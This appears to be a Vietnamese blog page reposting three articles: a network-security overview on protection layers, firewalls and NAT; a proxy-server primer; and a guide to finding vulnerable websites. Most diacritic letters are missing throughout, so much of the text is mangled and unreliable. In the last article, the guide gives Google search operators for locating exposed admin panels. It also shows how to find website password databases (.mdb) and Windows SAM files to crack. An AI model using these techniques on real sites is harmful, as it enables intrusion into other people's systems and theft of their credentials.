Do c im c nhiu ngi s dng phn tn trong mt khu vc nht nh, nn vic bo v cc ti nguyn mng kh trnh khi s mt mt, xm phm (v tnh hay c ). V vy khi vn hnh mt mng my tnh, vn bo mt thng tin v an ninh h thng lun l mi quan tm hng u ca nhng ngi lm cng tc qun tr mng. Thng thng an ninh mng c bo m nh s dng 5 lp bo v nh sau (Hnh 1). Hnh 1: Cc lp bo v ti nguyn trong mng my tnh Lp 1: Quyn truy nhp l lp bo v trong cng nhm kim sot cc ti nguyn (thng tin) mng v cho php thc hin cc quyn s dng v x l cc ti nguyn . Vic kim sot trong trng hp ny thng thc hin di dng cc files; Lp 2: ng k tn / mt khu (login/password) l lp bo v tip theo, kim sot quyn truy nhp mc h thng (quyn truy nhp vo mng). Lp 3: M ho m ho d liu theo mt thut ton no nhm bo mt thng tin truyn trn mng. Ti ni nhn thng tin s c gii m tr li dng tng minh. Lp 4: Bo v vt l ngn cn cc truy nhp vt l bt hp php vo h thng nh cm ngi khng phn s vo khu vc t my mng, dng kho my tnh, ci c ch bo ng khi c truy nhp vo h thng, ngt ngun in n mn hnh v bn phm Lp 5: S dng h thng tng la Firewall. Tng la l "mn chn" iu khin lung lu thng gia cc mng (thng l gia h thng mng cn c bo v v Internet, gia cc mng con trong mt t chc), nhm bo v h thng mng ring, ngn chn cc thm nhp tri php, lc b cc gi tin khng mun gi hoc nhn Thc t vn hnh h thng mng LAN ti khu vc Ging v (i THVN) trong thi gian qua cho thy, m bo an ninh h thng, ngi qun tr mng cn bit kt hp mt cch hp l c 5 lp bo v trn, pht huy th mnh ca tng lp bo v trong tng thi im, ti mi phm vi khng gian thch hp. Vic li vo thit b (tng la) hay nhn mnh thi qu vn an ninh h thng s v tnh to ra nhng ro cn khng ng c trong khai thc s dng thit b v i khi kh kh thi v mt kinh t. Nhng nguy c tim n trong cuc sng thng ngy hng i vi vn bo mt v an ninh h thng my tnh bao gm: 1. Trc ht, nguy c d thy nht l ai (v tnh hay c ) s dng my tnh c nhn khi cha c s ng ca bn. Nguy c ny c th d dng
khc phc khi s dng cc phng php bo mt c cung cp km vi my tnh. a s cc my tnh hin nay c mt khu khi ng (power-on passwords). Ngoi ra cng c th s dng phng php thit lp mt khu c gn km trong h thng iu hnh (Windows); 2. Tip theo, nguy c kh thy hn l ai n trm mt khu truy cp vo my tnh hay mng my tnh cha nhng thng tin b mt. Nhng mt khu ny c th c s dng t mt my tnh bt k (bn trong hay bn ngoi mng ca bn). trnh vic d dng phng on ra mt khu, nn trnh s dng mt khu l cc ngy sinh nht, tn ca nhng ngi thn hay cc con vt nui lm cho mt khu tr nn kh on, nn s dng mt khu kt hp c nhng du chm v nhng con s. Phng n tt nht l s dng mt ngn ng nc ngoi (khng phi ting Anh cng tt) lm mt khu; 3. Cc virus l nguy c thng trc nht hin nay. Virus l chng trnh my tnh c thit k vi mc ch ph hoi (hay n gin ch l a nghch), c th t nhn bn v ly lan bng cch gn vo cc chng trnh khc, k c phn mm iu hnh h thng. Ging nh virus ngi, tc hi ca virus my tnh c th cha pht hin c trong thi gian vi ngy hay vi tun. Khi pht tc, cc virus gy ra nhiu hu qu: t nhng thng bo linh tinh n nhng tc ng lm mt kh nng iu hnh h thng, xa mi d liu trn a cng, thm ch gi nhng d liu ny cho ch s dng chng. Thi gian trc y thng thng a mm l phng tin ch yu lan truyn virus. Ngy nay do vic chuyn cc file qua mng c s dng rng ri, nn virus thay i chin lc lan truyn. Hu ht cc virus hin lan truyn qua cc file gi km theo th in t hay c nhng trong cc phn mm hay ti liu trn mng Internet. Mt s khc cn c kh nng t lan nhim bng cch gi t ng th n cc a ch lu trong Address Book ca my tnh b nhim. phng nguy c ny, bn khng nn m cc files gi km th in t t nhng ngi khng quen bit v ni chung, cn thn trng khi m cc file gi km th in t, c bit l cc file c th t kch hot (cc file vi ui *.exe, *.com, *.asp, ). Phng php tt nht t v chng li cc virus l ch ng cung cp cc phn mm qut virus cho cc thit b kt ni trong mng. Do cc virus thng thay i lin tc nn cc phn mm ny cn c cp nht thng xuyn, nhn bit v lm mt tc dng ca cc virus mi. Hu ht cc nh sn xut phn mm phi lin tc lm vic pht hin v bt kn cc l hng an ninh, v cp nht cc phn mm bn cho cc khch hng mt cch min ph. Hng Microsoft l mt v d. Nu my tnh s dng h iu hnh Windows, chng ta c th kim tra nhanh an ton h thng ca bn bng cch tr mt trnh duyt vo a ch http://www.windowsupdate.microsoft.com, Microsoft s kim tra thit b v ngh mt danh sch cc cp nht (nu cn thit). i vi nhng h thng my tnh nhy cm (v d nh cc h thng lm tin
thi s truyn hnh), cch tt nht cho an ninh mng l trnh kt ni trc tip n Internet. m bo nhu cu thu nhp thng tin trn mng Internet v trao i th in t, cn s dng mt h thng tng la cng mt my ch e-mail c lp vi mt phn mm qut virus trong my ch ny kim sot virus trong cc th n. iu ny cho php c lp cc nguy c virus khi khu vc trung tm v trnh s phc tp phi cp nht phn mm chng virus lin tc ti mi my PC trong mng. trnh b mt d liu do my tnh b virus thm nhp ph hu, gii php an ton nht l sao lu d phng (backup) thng xuyn thng tin d liu h thng. Thc t cho thy khng c cch no lm cho my tnh tr nn an ton tuyt i, nn khng sm th mun my tnh ang s dng cng s gp vn . Trong trng hp , chng ta c th yn tm l c sn trong tay mt bn sao y cc d liu cn thit. 4. Cc thm nhp tri php t bn ngoi: khi kt ni my tnh hay h thng mng ca chng ta vi Internet, chng ta m ca cho mt cuc t kch c th. y l ni m h thng tng la (lp bo v ngoi cng) s pht huy vai tr ca n ngn chn cc thm nhp tri php, lc b cc gi tin khng mun gi hoc khng mun nhn. 2. Cc tng la (firewalls). Tng la c cc tnh nng c bn sau: 1. Kim sot truy xut: Gii hn truy xut i vi tng ngi s dng trn c s Username v Password, hoc a IP v cc cng (Port); 2. Kim tra v lc cc gi tin: cc gi d liu trc ht c kim tra v a ch IP ngun, a ch IP ch v s hiu cng sau c tr li hay cho php i vo theo mt s iu kin nht nh; 3. Qun l cc a ch IP vi hai chc nng c bn l NAT v DHCP. Chc nng NAT (Network Address Translation) chuyn cc a ch IP ring ca mng ni b thnh a ch IP c th ra ngoi Internet vi mc ch du a ch ca mng ni b, tng tnh bo mt. Chc nng DHCP (Dynamic Host Configuration Protocol) cung cp a ch IP ng cho cc thit b trong mng ni b; 4. Lc URL(1) nhm gii hn vic truy cp ti cc trang web khng mong mun. Xt di gc cu trc ca thit b c th chia ra hai loi tng la nh sau: * Tng la mm: L mt chng trnh phn mm c cc tnh nng tung la (v d Firewall-1 ca ChekPoint). Khi hot ng chng phi da vo my tnh,
s dng b x l v ti nguyn ca my tnh hot ng. i vi loi tng la ny ngi s dng c th thm bt mt cch linh hot cc tnh nng tng la cn c vo nhu cu c th ca tng thi im vn hnh; * Tng la cng: L mt thit b ring bit c sn cc tnh nng tng la. Chng c b x l v cc ti nguyn ring x l cc tnh nng ny. V vy, chng hot ng hiu qu hn tng la mm. Chng ta vn c th nng cp cc tnh nng ca chng nhng khng linh hot bng cc tng la mm. Chng cng c th tng thm cc tnh nng bo mt khi tch hp vi cc sn phm bo mt khc nh Antivirus, d tm k xm nhp Trong s bn chc nng c bn trn ca tng la, chc nng qun l cc a ch IP c tm quan trng rt ln i vi kh nng chng xm nhp tri php t bn ngoi vo mng my tnh. Tht vy, vi NAT, bt k gi d liu no c gi ra mng Internet t cc my bn trong mng u c bin i a ch sao cho a ch xut pht ca n duy nht t tng la: trn hnh 2 chng ta c th thy rng, cc gi d liu t my tnh c a ch 192.168.1.3 bn trong tng la s c bin i v cc my tnh bn ngoi (mng Internet) ch c th nhn bit nh chng c bt ngun t tng la vi a ch IP 62.123.4.23. Tng t nh vy, mt cu hi truy vn t my tnh no trn mng Internet gi n a ch 192.168.1.3 s b bo li v gi tr li. iu ny gip loi tr s kt ni trc tip ca mt my tnh no trn Internet vi my tnh pha trong tng la, lm cho vic thm nhp vo cc thit b bn trong mng tr nn kh khn v k t nhp mun vo trc ht phi bit a ch IP ca my mun t nhp. Khi la chn cu hnh mt h thng tng la cho mng my tnh, ngi qun tr mng cn cn nhc k cc yu t: * Hiu sut lm vic ca tng la. Hiu sut cng cao th hin tng nghn c chai cng gim. Khi s dng ng leased line kt ni Internet, hiu sut ca tng la nn chn ph hp vi tc cc ng thu bao ny; * Kh nng cung cp bng thng cho bao nhiu ngi truy cp ti cng mt thi im; * Kh nng m ha thng tin; * C hay khng ch ghi nht k, gip theo di nh gi cc s c trong h thng mng; * C hay khng tnh nng mng o VLAN (Virtual LAN) v mng ring o VPN (Virtual Private Network) gip qun l phn chia mng thnh cc mng con ring bit; * C bao nhiu cch qun l v cu hnh Firewall; * C hay khng tng la d phng; * C tch hp cc tnh nng bo mt nh Gim st trng thi, D tm k xm nhp tri php IDS (Instruction Detect Service), Antivirus, Xc nh quyn truy cp . Hu ht cc tng la u cho php ci t cc mc an ton khc nhau, v
s hn ch truyn thng tng ng vi mc an ton t c (cng hn ch th cng an ton). Vn t ra cho cc qun tr mng l phi duy tr an ninh mc an ton hp l, m bo an ninh h thng nhng vn cho php khai thc ti a cc chc nng ca cc ca thit b trong mng. Hnh 2:Bin i a ch IP (NAT) giu IP thc ca my tnh bn trong mng LAN 3. An ninh h thng mng my tnh truyn thng (Broadcasting Networks). Mng my tnh s dng trong truyn thng ngy nay thng c cu trc a giao thc vi kh nng h tr cc my ch truyn thng a phng tin, cc h thng lu tr khu vc, my tnh c nhn PCs, thit b h tr s c nhn PDAs (Personal Digital Assistant), in thoi v ton b cc ng dng d liu mi . v khng b gii hn bi cc bin gii vt l. Trong cc mng ny, h thng tng la ng vai tr rt ln trong vic bo v v duy tr an ninh mng thng qua vic kim sot cc kt ni phc tp. Khi cc Hng truyn thng c tn dng cc u im ca vic truyn dn thng tin ra phm vi ton cu thng qua Internet, th h cng ang m ca cho cc virus, cc k c ph hoi v nhng nguy c khc c th gy ra thit hi nhiu khi ln ti hng t USD do tn tht nng sut lao ng, l b mt thng tin, mt d liu hay mt bn quyn chng trnh Mt vn gy kh khn cho an ninh mng truyn thng l yu cu phi to thun li ti a cho cc truy cp (hp php) vo mng nhiu nht c th. y thng l cc mng kinh doanh gii tr, s tn ti ca chng ph thuc chnh vo vic cho php truyn pht ni dung cc chng trnh trong khi vn m bo c kh nng kim sot qu trnh s dng cc ni dung ny. Cc nguyn tc c bn ca an ninh h thng y bao gm: 1. Qun tr mng phi kim sot cht v ti bt k thi im no cng c kh nng bit chc chn thng tin no ang i vo ra khi mng; 2. Phi m bo h thng khng b lm dng cho cc s dng c nhn ca cc nhn vin; 3. C kh nng chng li vic s dng sai mc ch, s ph hoi do nhng bt ho trong ni b v nhng s c; 4. Duy tr s kim sot d liu v chng s sao chp bt hp php cc d liu v ni dung. p ng cc nguyn tc an ninh trn, h thng tng la trong cc mng ny cn tho mn cc yu cu: *
Tng thch vi tt c cc cng ngh to dng streaming ch yu, bao gm Real Networks, Windows Media v Quick Time; * Phi h tr cc chun cng nghip Internet nh TCP/IP, UDP(2), HTTP(3) v RTP/RTSP(4/5); * Phi m c th tng thch vi cc cng ngh to dng trong tng lai; * Phi cho php trin khai v tch hp chc nng mi mt cch lin tc m ch i hi nhng thay i ti thiu trong h thng my ch hay nhng nng cp m rng nh; * Cho php ci t nhiu phn mm ti cc my trm ca khch hng phc v cho nhu cu cp nht cc ng dng mt cch d dng v hon ton t ng; * Cho php ngi s dng truy cp ni dung chng trnh thng qua vic s dng cc phn mm hin th media nh Winamp hay QuickTime ; * Phi c mt knh phn hi m bo kim sot cht lng dch v, thanh ton chi tit, bo v bn quyn chng sao chp v nhng ng dng c bit khc thuc phm vi kim sot media; * Phi duy tr hot ng thng sut n ngi s dng (khch hng); * C kh nng lm nn lng cc hnh vi mun sao chp xm phm bn quyn. Trong thi gian gn y, xut hin cc h thng an ninh mng my tnh truyn thng c kh nng p ng tt cc yu cu trn (v d thit b ca Hng Widevine Technologies http://www.windevine.come). Cc h thng ny hot ng theo nguyn tc kt hp hai lp bo v 3 v 5 v tng tch vi tt c cc cng ngh to dng streaming ang s dng hin nay. V thc cht, y l cc thit b m ho bng phn cng thi gian thc, c lp t ti u ra ca cc thit b lu tr ni dung v ch cho php gii m bng thit b phn cng tng ng u thu chng trnh. Do ni dung c bo v (m ho) ti ngun, gii php truyn thng dng ny cho bo v ni dung chng trnh trong sut qu trnh truyn thng trn mng. Thut ton m ho c th c cp nht trong sut qu trnh hot ng ca mng m khng nh hng ti cht lng chng trnh thu c. 4. Mt s lu trong cng tc qun tr mng. Thc t cng tc qun tr mng my tnh ti i THVN trong thi gian qua cho thy, vn virus v xm nhp tri php l cc nguy c thc t i vi mng my tnh, trong virus l nguy c thng xuyn v rt kh loi tr hon ton, c lc nh hng ng k n kh nng phc v ca ton h thng. Do c im cng tc, cc cn b v phng vin ca i hin ang s
dng mt s lng kh ln my tnh c nhn xch tay, nn rt kh lm tt cng tc phng chng virus v cp nht cc phn mm cho cc thit b ny, nht l khi s dng cc h iu hnh Windows 2000, Windows XP khng c bn quyn. y chnh l ngun ly nhim virus ng k nht vo h thng mng ca i THVN trong thi gian qua. thng xuyn duy tr kh nng phng v ca h thng, ngi lm cng tc qun tr mng cn lu n cc nguyn tc sau: a. Loi tr vic kt ni trc tip cc my tnh nhy cm vi Internet; b. Ci t cc phn mm chng virus n tng my tnh v thit b trong mng; c. Thng xuyn cp nht cc phn mm chng virus c ci t trong cc thit b mng, m bo kh nng nhn bit v i ph vi cc loi virus mi ca cng c phng nga ny; d. Theo di v cp nht thng xuyn phn mm, cc h iu hnh nhm pht hin v khc phc kp thi cc l hng bo mt, c bit l cc h iu hnh Windows 2000, Windows XP...; e. S dng chc nng NAT che giu my tnh bn trong mng; f. S dng phn mm tng la trn cc my tnh xch tay phng cc xm nhp tri php; g. Thng xuyn sao lu d liu d phng (backup). Ch thch: (1) - URL (Uniform Resource Locator): a ch ca mt ti nguyn trn Internet (hay Intranet) nm trong cc my ch, cha cc th mc v cc loi tp tin khc nhau (vn bn, ha, video v m thanh). URL l a ch c g vo vng Address ca cc Web Browser, n ch ti v tr ca ti nguyn cn tm trn mng. (2) UDP (User Datagram Protocol): Giao thc gi d liu ngi dng. Khi vit cc ng dng trn mng TCP/IP, c th truy cp n ti nguyn mng thng qua hai giao thc TCP (Transmission Control Protocol) hoc UDP (User Datagram Protocol). C hai giao thc ny nm trong lp giao vn (transport layer) trong TCP l giao thc c lin kt (tc l i hi phi thit lp lin kt logic gia hai thit b trao i thng tin vi nhau) v v vy cho tin cy trong truyn d liu kh cao, cn UDP li l giao thc "khng lin kt"vi tin cy khng cao. N cho php truyn s liu thng qua s hiu cng m khng cn thit lp mt phin kt ni logic. Kh nng ny lm cho vic
truyn thng tr nn d dng hn v ton b d liu truyn c th c gi i trong mt hoc hai gi UDP. Trong nhiu trng hp khi ch gi mt lng d liu nh vic s dng TCP vn s tn nhiu thi gian do vn phi thit lp kt ni cho giao thc ny. (3) HTTP (Hypertext Transfer Protocol): Giao thc truyn ti siu vn bn l giao thc lnh v iu khin, xc lp vic truyn tin gia cc my khch v my ch. HTTP ci t s kt ni gia my khch v my ch, chuyn lnh qua li gia hai h thng, cung cp phng thc b trnh duyt Web browser truy xut my ch Web server, gi yu cu n my ch. (4) RTP(Real-Time Transport Protocol): Giao thc truyn ti thi gian thc cung cp cch truyn d liu thi gian thc, cm ng tr hon, m thanh trc tip v video t my ny sang my khc trn Internet hoc intranet. RTP c dng trong hi ngh c h tr multimedia. RTP cng c dng x l cc dng d liu lin tc, m phng phn b tng tc, cc chng trnh ng dng iu khin, cung cp cc dch v nhn bit loi thanh ton, nh s th t, nh du thi gian, v gim st vic truyn d liu. RTP khng c kh nng m bocht lng dch v QoS. (5) RTSP(Real-Time Streaming Protocol): Giao thc dng d liu thi gian thc l giao thc truyn d liu trn Internet v intranet. RTSP do RealNetworks lin kt vi Netscape pht trin c IETF (Internet Engineering Task Force) chun ha. RTSP c th truyn m thanh v video trc tip hay c thu t trc. Cc tnh nng khc ca RTSP l kh nng iu khin hai chiu, h tr cho IP multicast, chi ph thp, an ton cao. Ti liu tham kho: [1]. Multimedia Networking Bohdan O. Szuprowicz McGraw Hill International Editions 1995; [2]. An Ton cho Trung tm tch hp d liu - Ti liu tp hun ca Ban iu hnh n 112 - Vn phng Chnh ph 9/2003; [3]. Mng my tnh v cc h thng m - Nguyn Thc Hi Nh xut bn gio dc 1997; [4]. Computer & Networks: Security - Brad Gilmer Broadcast Engineering, Aug 1, 2002; [5]. System security - Steven M. Blumenfeld Broadcast Engineering, Oct 1, 2001; [6]. Firewalls and security - Brad Gilmer Broadcast Engineering, Jul 1, 2001.
http://www.phatthanhtruyenhinh.vn/modules.php? name=News&op=viewst&sid=99 c ng bi haodalat ti 10:18 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK, Security
Cn bn v Proxy
Proxy cung cp cho ngi s dng truy xut internet vi nhng host n. Nhng proxy server phc v nhng nghi thc t bit hoc mt tp nhng nghi thc thc thi trn dual_homed host hoc basion host. Nhng chng trnh client ca ngi s dung s qua trung gian proxy server thay th cho server tht s m ngi s dng cn giao tip 1. Ti Sao Ta Phi Cn Proxy p ng nhng nhu cu ca ngi s dng khi cn truy xut n nhng ng dng cung cp bi internet nhng vn m bo c an ton cho h thng cc b. Trong hu ht nhng phng php c a ra gii quyt iu ny l cung cp mt host n truy xut n Internet cho tt c nhng ngi s dng. Tuy nhin, phng php ny khng phi l phng php gii quyt tha mn nht bi v n to cho ngi s dung cm thy khng thoi mi. Khi truy xut n internet th h khng th thc hin nhng cng vic mt cch trc tip, phi login vo hual_homed host, thc hin tt c nhng cng vic y, v sau bng cch no chuyn i kt qu t c ca cng vic tr li workstation s hu. iu ny tr nn cang ti t nhng h thng vi nhin h iu hnh khc nhau, Vi du: nu h thng l bastion_host nhng ring dual_host l unix. Khi dual_home host c thit k trn m hnh khng c proxy, iu s khin cho ngi s dng thm bc bi va ng ch hn l gim i nhng tin ch m intenet cung cp, ti t hn l chng thng khng cung cp mt cch khng an ton v y , khi mt my gm nhiu ngi s dng tt nhin an ton ca n s gim, t bit khi c gng bt vi vn vt bn ngoi. Proxy server gup ngi s dng thoi mi hn v an ton cho dual homed host, thay th yu cu ca ngi s dng bng cch gin tin thng qua dual homed host. H thng proxy cho php tt c nhng tng tc nng di mt hnh thc no . User c cm gic lm vic trc tip vi server trn internetm h tht s mun truy xut Proxy applycation chnh l chng trnh trn application level, getaway firewall hnh ng trn hnh thc chuyn i nhng yu cu ngi s dng thng qua firewall, tin trnh ny c thc hin trnh t nh sau: * thnh lp mt kt ni applycation trn firewall. * proxy applycation thu nhn thng tin v vic kt ni v yu ca ca user
* s dng thng tin xc nhn yu cu c xc nhn khng, nu chp nhn proxy s to s kt ni khc t firewall n my ch * sau thc hin s giao tip trung gian, truyn d liu qua li gia client v server Proxy system gii quyt c nhng ri ro trn h thng bi trnh user login vo h thng v p buc thng qua phn mm iu khin. 2.S cn thit cua Proxy Proxy cho user truy xut dch v trn internet theo ngha trc tip. Vi dual host homed cn phi login vo host trc khi s dng dch v no trn internet. iu ny thng khng tin li, v mt s ngi tr nn tht vng khi h c cm gic thng qua firewall, vi proxy n gii quyt c vn ny. Tt nhin n cn c nhng giao thc mi nhng ni chung n cng kh tin li cho user. Bi v proxy cho php user truy xut nhng dch v trn internet t h thng c nhn ca h, v vy n khng cho php packet i trc tip gia h thng s dng v internet. ng i l gin tip thng qua dual homed host hoc thng qua s kt hp gia bastion host v screening router. Thc t proxy hiu c nhng nghi thc di, nn logging c thc hin theo hng hiu qu c bit, vd: thay v logging tt c thng tin thng qua ng truyn, mt proxy FPT server ch log nhng lnh pht ra v server p ng m nhn c. Kt qu ny n gin v hu dng hn rt nhiu. 3.Nhng im yu cua vic dung Proxy Mc d phn mm prory c hiu qu rng ri nhng dch v lu i v n gin nh FPT v Telnet, nhng phn mm mi v t c s dng rng rai th him khi thy. Thng chnh l s chm tr gia thi gian xut xut hin mt dch v mi v proxy cho dch v , khong thi gian ph thuc vo phng php thit k proxy cho dch v , iu ny cho thy kh kh khn khi a dch v mi vo h thng khi cha c proxy cho n th nn t bn ngoi firewall, bi v nu t bn trong h thng th chnh l yu im. i khi cn mt proxy khc nhau cho mi nghi thc, bi v proxy server phi hiu nghi thc xc nh nhng g c php v khng c php. thc hin nhim v nh l client n server tht v server tht n proxy client, s kt hp , install v config tt c nhng server khc nhau c th rt kh khn Nhng dch v proxy thng sa i chng trnh client, procedure hoc c hai. Ngoi tr mt s dch v c thit k cho proxying , proxy server yu cu sa i vi client hoc procedure, mi s sa i c nhng bt tin ring
ca n, khng th lun lun s dng cng c c sn vi nhng cu trc hin ti ca n Proxying da vo kh nng chn vo proxy server gia server tht v client m yu cu tc ng tng i thn thn c hai. Nhng dch v proxy khng bo v cho h thng ng vi nhng nghi thc km cht lng. Nh mt gii php an ton, proxying da vo nhng kh nng xc nh nhng tc v trong nghi thc an ton. Khng phi tt c cc dch v u cung cp theo khuynh hng an ton ny, nh nghi thc Xwindows cung cp kh nhiu nhng tc v khng an ton. 4.Proxy hin thc nh th nao Nhng chi tit trong vic proxying thc hin nh th no khc nhau t dch v ny n dch v khc, khi setup proxying, c mt vi dch v thc hin d dng hoc t ng, nhng vi dch v c s chuyn i rt kh khn. Tuy nhin, trong hu ht nhng dch v ngoi yu cu nhng phn mm proxy server tng ng, trn client cng cn phi c nhng yu cu nh sau: Custum client software: phn mm loi ny phi bit nh th no lin kt vi proxy server thay server tht khi user yu cu v yu cu proxy server nhng g server tht kt ni n. Nhng phn mm custom client thng ch c hiu qu ch mt vi platform Vi du: packet getaway t Sun l mt proxy packet cho FTP v Telnet, nhng n ch c s dng trn h thng SUN bi v n cung cp recompiled Sun binaries Mc d nu phn mm hiu qu cho platform tng ng, n cng c th khng phi iu m user mong mun, vd: Macintosh c hng chc chng trnh FPT client, mt trong vi s c nhng giao din kh n tng vi user, nhng phn khc c nhng c im hu dng khc. Anarchie l chng trnh m n kt hp mt archie client v FPT client bn trong chng trnh n, v vy user c th tm file vi archie v dng FPT lt n, tt c vi giao din ngi s dng thch hp, iu ny s khng may mn cho chng ta nu mun h tr proxy server. S dng nhng chuyn i client cho proxying khng d dng thuyt phc user. Trong hu ht nhng h thng s dng client khng chuyn i nhng kt ni bn trong v mt s chuyn i ch vi nhng kt ni bn ngoi. Custom user procedure: user dng phn mm client chun giao tip vi proxy server v n kt ni vi server tht, thay th trc tip server tht. Proxy server c thit k thc thi vi phn mm client chun. Tuy nhin,
chng yu cu user theo nhng custom procedure. User trc tin kt ni vi proxy server v sau cung cp proxy server tn host m n mun kt ni n. Bi v mt vi nghi thc c thit chuyn nhng thng tin ny, user khng phi nh tn proxy server nhng cng phi nh tn host m n mun giao tip. Nh th no thc hin cng vic ny, cn phi nm c nhng th tc c trng theo sau mi nghi thc. Vi du: vi FTP, c th user mun nhn mt file t anonymous FTP server, user cn thc hin nhng bc sau: a. s dng bt k FTP client , user kt ni n proxy server thay th trc tip n anonumous FTP server. b. Ti du nhc user name, trong vic thm vo tn ch nh mun s dng, user phi ch nh tn server tht mun kt ni 5.Phn loai cac h thng proxy Dng kt ni trc tip Phng php u tin c s dngtrong k thut proxy l cho user kt ni trc tip n firewall proxy, sau proxy hi user cho a ch host hng n, l mt phng php brute force s dng bi firewall mt cch d dng, v cng l nguyn nhn ti sao n l phng php t thch hp. Trc tin, yu cu user phi bit a ch ca firewall, k tip n yu cu user nhp vo hai a ch hai a ch cho mi kt ni: a ch ca firewall v a ch ch hng n. Cui cng n ngn cn nhng ng dng hoc nhng nguyn bn trn my tnh ca user iu to s kt ni cho user, bi v chng khng bit nh th no iu khin nhng yu cu c bit cho s truyn thng vi proxy Dang thay i client Phng php k tip s dng proxy setup phi thm vo nhng ng dng ti my tnh ca user. User thc thi nhng ng dng c bit vi vic to ra s kt ni thng qua firewall. User vi ng dng hnh ng ch nh nhng ng dng khng sa i. User cho a ch ca host hng ti. Nhng ng dng thm vo bit a ch firewall t file config cuc b, setup s kt ni n ng dng proxy trn firewall, v truyn cho n a ch cung cp bi ngi s dng. Phng php ny rt kh hiu qu v c kh nng che du ngi s dng, tuy nhin, cn c mt ng dng client thm vo cho mi dch v mng l mt t tnh tr ngi.
6.Proxy "trong sut" (transparent) Mt phng php pht trin gn y cho php truy xut n proxy, trong vi h thng firewall c bit nh proxy v hnh. Trong m hnh ny, khng cn c nhng ng dng thm vo vi user v khng kt ni trc tip n firewall hoc bit rng firewall c tn ti. S dng s iu khin ng i c bn, tt c s kt ni n mng bn ngoi c ch ng thng qua firewall. Nh nhng packet nhp vo firewall, t ng chng c i hng n proxy ang ch. Theo hng ny,firewall thc hin rt tt vic gi nh host ch. Khi kt ni to ra firewall proxy , client application ngh rng n c kt ni n server tht, nu c php, proxy application sau thc hin hm proxy chun trong vic to kt ni th hai n server tht Proxy lp ng dng th i ngh vi proxy lp circuuit: application_level proxy c thc thi lp ng dng. N cung cp cho tng dch v ring v interpret nhng dng lnh trong nghi thc . Mt circuit_level proxy to nn mt circuit gia server v client khng cn phi interpret nhng nghi thc ny. Ni chung, application_level proxy s dung modified client. to ra kt ni proxy, phi bit v tr no mun kt ni n. Mt hybrid gateway n gin c th chn ng kt ni, nhng mt proxy host ch c th nhn kt ni ma ngh vi n, v phi ch ra v tr mun kt ni. Mt application_level proxy c th nhn thng tin trong tng nghi thc ring. Mt circuit_level proxy khng th interpret theo tng nghi thc v cn phi c thng tin h tr cho n thng qua mt cch no khc. u im ca circuit_level proxy server l n cung cp cho hu ht cc nghi thc khc nhau , hu nh circuit_level proxy cng l proxy server chung cho tt c cc dng nghi thc, tuy nhin khng phi tt c cc nghi thc u d dng c iu khin bi circuit_level proxy , khuyt im ca circuit_level proxy l n iu khin nhng g xy ra thng qua proxy ny nh l packet filter, n iu khin nhng kt ni c bn da vo a ch ngun v a ch ch v khng th xc nh nhng lnh i qua n l an ton hoc nhng s kin m nghi thc mong mun, circuit_level proxy d dng b nh la bi nhng server setup li nhng cng gn n nhng server khc. Proxy chung th i nghch vi nhng proxy chuyn bit: mc d application_level v circuit_level thng c dng, nhng i khi cng phn bit gia dedicated v generic proxy server l server ch phc v mt nghi thc n , generic proxy server l server phc v cho nhin nghi thc. Tht ra, dedicated proxy server l application_level, v generic proxy server l circuit_level. Intelligent proxy server: mt proxy server c th lm nhiu iu chkhng phi ch chuyn tip nhng yu cu, chnh l mt intelligent proxy server, vd: cern http proxy server caches data, v vy nhiu yu cu data khng ra khi h thng khi cha c s x l cca proxy server. Proxy server (t bit l
application level server) c th cung cp login d dng v iu khin truy xut tt hn, cn circuit proxy thng b gii hn bi nhng kh nng ny Using proxying vi nhng dch v internet:v proxy server chn vo gia s kt ni client v server, n phi c thch ng vi tng dch v ring, i khi mt s dch v rt d vi cch phc v bnh thng nhng li rt kh khi thm vo proxy. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=122&IDD=591 c ng bi haodalat ti 10:14 CH 0 nhn xet Nhan: Proxy
Hng dn cch tm Website b li
Ti s hng dn cc bn cch tm cc Website b li, a s cch thng dng nht l vo cc trang Search nh http://www.google.com, http://www.av.com ... ri nh "powered by ...." (v d : nu tm trang Forum UBB 1.0.3 th nh "powered by UBB 1.0.3"). Nhng nh th thng khng hiu qu v n cho ra rt nhiu trang chng lin quan g n trang mnh cn tm. Ti s hng dn cc bn cch tm cc Website b li, a s cch thng dng nht l vo cc trang Search nh http://www.google.com/, http://www.av.com/ ... ri nh "powered by ...." (v d : nu tm trang Forum UBB 1.0.3 th nh "powered by UBB 1.0.3"). Nhng nh th thng khng hiu qu v n cho ra rt nhiu trang chng lin quan g n trang mnh cn tm. By gi ti ch cho cc bn tm kim trang b li trn http://www.google.com/. Bnh thng mt chng trnh trn mng u c mt on string c bit trong URL, v d vi li Hosting Controller th s c on "/admin hay /advadmin hay /hosting" hay vi forum UBB th c "cgi-bin/ultimatebb.cgi?", khi ch nh vy khng n s lit k ra c trang ni v Hosting Controller ln trang ang s dng Hosting Controller, nh th kt qu ra nhiu nhng khng hiu qu. By gi cc bn thm ch allinurl: trc on string c bit cn kim, th nhng tran Web tm kim c chc chn s c chui cn tm. V d : Khi ti kim server dng Hosting Controller, ti vo http://www.google.com/ v nh "allinurl:/advadmin" (khng c ngoc kp) th n ch lit k ra nhng trang c URL c dng : http://tentrangweb.com/advadmin. Nhn tin ti cng ch cc bn cch tm cc file trn http://www.google.com/ Mun tm cc file trn http://www.google.com/ th bn thm ch type file: trc tn file cn tm trn cc chuyn khu web. V d : bn mun tm file mdb (y l file cha Password ca cc Website, dng Access m) th bn vo http://www.google.com/ v nh type file:mdb bn mun tm file SAM (y l file cha Password ca Windows NT, dng L0phtCrack Crack) th bn vo http://www.google.com/ v nh type file:SAM
http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=122&IDD=594 c ng bi haodalat ti 10:04 CH 0 nhn xet Nhan: C TH BN CHA BIT, Security
Hng dn ly IP ca victim khi cht !
